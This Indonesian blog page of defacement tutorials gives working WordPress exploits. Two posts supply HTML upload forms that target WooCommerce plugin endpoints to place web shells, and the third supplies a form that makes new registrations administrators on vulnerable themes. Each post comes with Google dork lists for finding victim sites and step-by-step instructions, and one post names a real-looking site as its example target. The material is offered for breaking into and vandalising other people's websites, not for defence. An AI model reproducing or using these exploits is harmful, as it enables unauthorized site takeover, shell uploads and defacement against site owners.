RasyidMF: Wordpress Exploit

Showing posts with label Wordpress Exploit. Show all posts

Cara Deface WP Plugins WooCommerce Products Customizer Fileupload

23:21:00

•

Wordpress Exploit

Hasil gambar untuk WP Plugins WooCommerce Products Customizer Fileupload

Cara Deface WP Plugins WooCommerce Products Customizer Fileupload

Yak kali ini ane akan mengshare Tutorial "Cara Deface WP Plugins WooCommerce Products Customizer Fileupload"

sebenarnya nih bukan deface ! atau cuman bisa upload gambar ! tpi gk thu juga kan , cobain aja pas bisa upload shell

Tadi ane barusan aja muter muter di web orang , nah pas ane bukan foldernya woocommerce-products-customizer . tiba tiba blank ane coba coba mau :D

Tpi pas itu ane coba upload shell gk mau , mungkin di web lain bisa :D. Bisa bisa neh Trik baru :D

HTML Vroh : <form method="POST" action="http://test.jacketman.net/wp-content/plugins/woocommerce-products-customizer/jquery_calls.php"

enctype="multipart/form-data">
<input type="file" name="userfile"/><button>Croot Punyamu</button>
</form>

Yang warna biru ganti webnya :D

Dorknya Guyss :
inurl:/wp-content/plugins/woocommerce-products-customizer/

Exploit nya guys : /wp-content/plugins/woocommerce-products-customizer/jquery_calls.php

Tutorial :

1.Cari web dari dork yang udeh mimin siapkan , buka web tersebut . masukan exploit , jika Gambarnya Blank berarti Vuln :D

2.Kemudian buka HTML Exploit nya tadi , kemudian cari file .jpg atau terserah lah
3.Jika berhasil maka akan muncul seperti dibawah ini

4.Filenya akan berada di http://test.jacketman.net//wp-content//uploads//57f9e15a25804.jpg
5.Jika gk berhasil , mungkin muncul nya cuman tulisan :D
6.Enjoy

Trik Dari Mastah Ane : Mr.D3c0d3r #98 + 5uSu S4p1

-=- THANKS FOR READING :D -=-

Deface Wp-Woocommerce Custom Tshirt Shell Upload Vulnerability

22:37:00

•

Wordpress Exploit

Deface Wp-Woocommerce Custom Tshirt Shell Upload Vulnerability

Langsung saja ke tutorial !

Dork : inurl:/wp-content/plugins/woocommerce-custom-t-shirt-

*Yang laen use your brain atau Contact mimin aj :D . biasanya dia bisa buat dork sendiri

HTML Exploit :

<form enctype="multipart/form-data"
    action="http://www.targetkalian.com/wp-content/plugins/woocommerce-custom-t-shirt-designer/includes/templates/template-black/designit/cs/upload.php" method="post">
    <input type="jpg" name="url" value="./" /><br />
    Please choose a file: <input name="uploadfile" type="file" /><br />
    <input type="submit" value="upload" />
    </form>

Exploit : /wp-content/plugins/woocommerce-custom-t-shirt-designer/includes/templates/template-black/designit/cs/upload.php

Lokasi Shell : /wp-content/plugins/woocommerce-custom-t-shirt-designer/includes/templates/template-black/designit/cs/uploadImage/(Nomor random).php

Tutorial :

1.Jika ada tulisan "error" di web tersebut , berarti Vuln

2.Copy Link yang Vuln , kemudian paste di HTML Exploit Yang Bertanda Warna Merah Diatas

3.Pilih Shell kalian , kemudian klik Upload

4.Maka akan muncul angka acak Contoh : "1285798710.php"

5.Akses Shellnya : /wp-content/plugins/woocommerce-custom-t-shirt-designer/includes/templates/template-black/designit/cs/uploadImage/(Nomor acak yang tadi).php

6.Enjoy ! Terserah dah mau di apain tuh web

-=-THANKS FOR READING :D-=-

Deface Dengan WordPress Add Admin Vulnerability

23:53:00

•

Wordpress Exploit

Kali ini www.rasyidmaulanafajar.blogspot.com akan mengshare tutorial deface !

Saat ini saya akan mengshare Deface dengan WordPress Add Admin Vulnerability
Langsung Saja Mulai

Dork:
inurl:/wp-content/themes/appius/
inurl:/wp-content/themes/Consultant/
inurl:/wp-content/themes/appius1/
inurl:/wp-content/themes/archin/
inurl:/wp-content/themes/averin/
inurl:/wp-content/themes/dagda/
inurl:/wp-content/themes/echea/
inurl:/wp-content/themes/felici/
inurl:/wp-content/themes/GantiDengantema/
inurl:/wp-content/themes/kmp/
inurl:/wp-content/themes/kmp2/
inurl:/wp-content/themes/themanya/
inurl:/wp-content/themes/liberal/
inurl:/wp-content/themes/liberal-media-bias/
inurl:/wp-content/themes/linguini/
inurl:/wp-content/themes/livewire/
inurl:/wp-content/themes/majestics/
inurl:/wp-content/themes/mathis/
inurl:/wp-content/themes/mazine/
inurl:/wp-content/themes/Orchestra/
inurl:/wp-content/themes/shopsum/
inurl:/wp-content/themes/shotzz/
•dan masih banyak lagi tema Vuln lainnya

Eksploit: (Jadikan HTML filenya)
<form action="http://target.com/wp-content/themes/nama tema/hades_framework/option_panel/ajax.php" method="POST">
<input name="values[0][name]" value="users_can_register">
<input name="values[0][value]" value="1">
<input name="values[1][name]" value="admin_email">
<input name="values[1][value]" value="email kalian">
<input name="values[2][name]" value="default_role">
<input name="values[2][value]" value="administrator">
<input name="action" value="save">
<input type="submit" value="Submit">
</form>
Atau Download disini: http://www.mediafire.com/download/cev7457xesy734v/Eksploit.html

isi Username dan Email kalian . tunggu sampai ada pesan di email

kemudian klik Link ResetPassword yang ada di email tersebut. kemudian isi password kalian.

setelah itu login

http://target.com/wp-login.php

Kalo dah masuk ke /wp-admin/ ya terserah aja mau diapain tuh web :V

Video :

Thanks To ken7ester.blogspot.co.id

Deface Dengan WordPress Add Admin Vulnerability

23:53:00

•

Wordpress Exploit

Kali ini www.rasyidmaulanafajar.blogspot.com akan mengshare tutorial deface !

isi Username dan Email kalian . tunggu sampai ada pesan di email

kemudian klik Link ResetPassword yang ada di email tersebut. kemudian isi password kalian.

RasyidMF

Latest Updates

Cara Deface WP Plugins WooCommerce Products Customizer Fileupload

Deface Wp-Woocommerce Custom Tshirt Shell Upload Vulnerability

Deface Dengan WordPress Add Admin Vulnerability

Deface Dengan WordPress Add Admin Vulnerability

About

Popular Posts

Category

About Me

Pengunjung